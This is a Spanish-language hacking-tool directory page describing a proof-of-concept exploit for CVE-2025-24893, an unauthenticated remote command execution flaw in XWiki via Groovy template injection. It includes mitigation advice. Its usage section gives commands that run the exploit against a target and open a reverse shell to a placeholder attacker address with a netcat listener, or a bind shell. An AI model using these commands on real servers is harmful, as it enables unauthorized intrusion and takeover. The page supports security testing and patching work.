Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-24893-PoC — Prueba de concepto para CVE-2025-24893 que demuestra ejecución remota de comandos no autenticada en XWiki mediante evaluación insegura de plantillas del lado del servidor. | Kitploit
Herramientas/GitHubGitHub/breakingrohit/cve-2025-24893-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónDesarrollo de Payloads
GitHub
breakingrohit/cve-2025-24893-poc

CVE-2025-24893-PoC

Prueba de concepto para CVE-2025-24893 que demuestra ejecución remota de comandos no autenticada en XWiki mediante evaluación insegura de plantillas del lado del servidor.

Ver Repositorio
211hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-24893 – Ejecución Remota de Comandos en XWiki (Prueba de Concepto)

Resumen

Este repositorio contiene una Prueba de Concepto (PoC) controlada para CVE-2025-24893, una vulnerabilidad de Ejecución Remota de Comandos (RCE) sin autenticación que afecta a XWiki.

La vulnerabilidad permite a un atacante ejecutar comandos arbitrarios del sistema operativo en el servidor debido a una evaluación insegura de plantillas y scripts del lado del servidor.


Acerca de XWiki

XWiki es una plataforma wiki empresarial de código abierto comúnmente utilizada para:

  • Documentación interna
  • Bases de conocimiento
  • Portales de colaboración en equipo

Debido a que XWiki se despliega con frecuencia en servidores expuestos a Internet, las vulnerabilidades de seguridad en su manejo de peticiones y lógica de scripting pueden tener un alto impacto en el mundo real.


Resumen de la Vulnerabilidad

  • CVE ID: CVE-2025-24893
  • Categoría: Inyección de Plantillas del Lado del Servidor que conduce a Ejecución Remota de Comandos
  • Vector de Ataque: Petición HTTP GET
  • Autenticación requerida: Ninguna
  • Impacto: Ejecución de comandos arbitrarios con privilegios del servidor

Causa Raíz

La entrada controlada por el usuario pasada al endpoint SolrSearch era validada incorrectamente y evaluada por el motor de scripting Groovy. Esto permitió que la entrada proporcionada por el atacante se interpretara como código ejecutable del lado del servidor, resultando en la ejecución de comandos en el sistema anfitrión.


Versiones Afectadas

  • Versiones de XWiki hasta 15.10.10 inclusive
  • Corregido en versiones posteriores

Capacidades de la Prueba de Concepto

Esta PoC demuestra lo siguiente:

  • Modo de Detección de Vulnerabilidad Confirma de forma segura si la instancia objetivo es vulnerable mediante la ejecución de una expresión benigna del lado del servidor.

  • Ejecución Remota de Comandos Demostración de ejecución de comandos arbitrarios en el sistema objetivo.

  • Ejecución de Shell Inversa Establece una conexión de shell saliente desde el objetivo hacia el evaluador.

  • Shell Vinculante (Opcional) Abre un shell de escucha en el sistema objetivo (menos fiable que las shells inversas).


Uso

Verificación de Vulnerabilidad

python3 xwiki_cve_2025_24893.py http://target:8080 -m check

Shell Inversa (Recomendada)

nc -lvnp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m reverse -lh <attacker_ip> -lp 4444

Shell Vinculante

python3 xwiki_cve_2025_24893.py http://target:8080 -m bind -lp 4444

Flujo de Ataque de Alto Nivel

  1. Se envía una petición manipulada al endpoint vulnerable SolrSearch
  2. Se inyectan instrucciones maliciosas de plantilla a través de la entrada controlada por el usuario
  3. La entrada es evaluada por el motor Groovy como código de confianza
  4. Se ejecutan comandos arbitrarios del sistema operativo en el servidor

Guía de Mitigación

  • Actualice XWiki a una versión parcheada inmediatamente
  • Restrinja el acceso a endpoints internos cuando sea posible
  • Limite o confine la funcionalidad de scripting del lado del servidor
  • Monitoree los registros de la aplicación en busca de comportamientos anómalos de ejecución de plantillas

Aviso Legal

Este proyecto se proporciona estrictamente con fines educativos y para pruebas de seguridad autorizadas.

Se prohíbe cualquier uso no autorizado de este código contra sistemas sin permiso explícito.


Créditos

  • Investigación original de la vulnerabilidad e inspiración de la PoC por Al Baradi Joy
  • Refactorizado y ampliado para investigación educativa y de seguridad defensiva

Propósito de Este Repositorio

Este repositorio fue creado para demostrar:

  • Análisis de vulnerabilidades del mundo real
  • Desarrollo seguro y responsable de pruebas de concepto
  • Comprensión de la inyección de plantillas del lado del servidor y los riesgos de RCE
  • Conciencia defensiva y consideraciones de mitigación
Descargar herramienta